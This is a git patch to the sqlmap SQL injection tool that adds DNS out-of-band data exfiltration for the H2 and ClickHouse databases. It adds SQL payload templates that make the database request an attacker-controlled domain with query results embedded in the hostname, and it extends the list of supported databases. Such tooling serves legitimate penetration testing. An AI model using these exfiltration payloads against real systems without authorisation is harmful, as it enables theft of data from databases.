From 311bf7ce4d911b260b9dc2aac0e620075bde41b7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 29 Jul 2026 16:52:34 +0200 Subject: [PATCH] Adding support for DNS OOB for H2 and ClickHouse --- data/procs/clickhouse/dns_request.sql | 1 + data/procs/h2/dns_request.sql | 2 ++ lib/core/settings.py | 2 +- lib/techniques/dns/use.py | 2 +- 4 files changed, 5 insertions(+), 2 deletions(-) create mode 100644 data/procs/clickhouse/dns_request.sql create mode 100644 data/procs/h2/dns_request.sql diff --git a/data/procs/clickhouse/dns_request.sql b/data/procs/clickhouse/dns_request.sql new file mode 100644 index 000000000..d75494428 --- /dev/null +++ b/data/procs/clickhouse/dns_request.sql @@ -0,0 +1 @@ +SELECT count(*) FROM url('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', 'CSV', 'c String') diff --git a/data/procs/h2/dns_request.sql b/data/procs/h2/dns_request.sql new file mode 100644 index 000000000..5480a5d7a --- /dev/null +++ b/data/procs/h2/dns_request.sql @@ -0,0 +1,2 @@ +SELECT FILE_READ('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', NULL) +# or SELECT CSVREAD('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/') diff --git a/lib/core/settings.py b/lib/core/settings.py index 9219f4783..39caa9eed 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.247" +VERSION = "1.10.7.248" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 5ee545240..1747d22e3 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -46,7 +46,7 @@ def dnsUse(payload, expression): count = 0 offset = 1 - if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): + if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL, DBMS.H2, DBMS.CLICKHOUSE): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: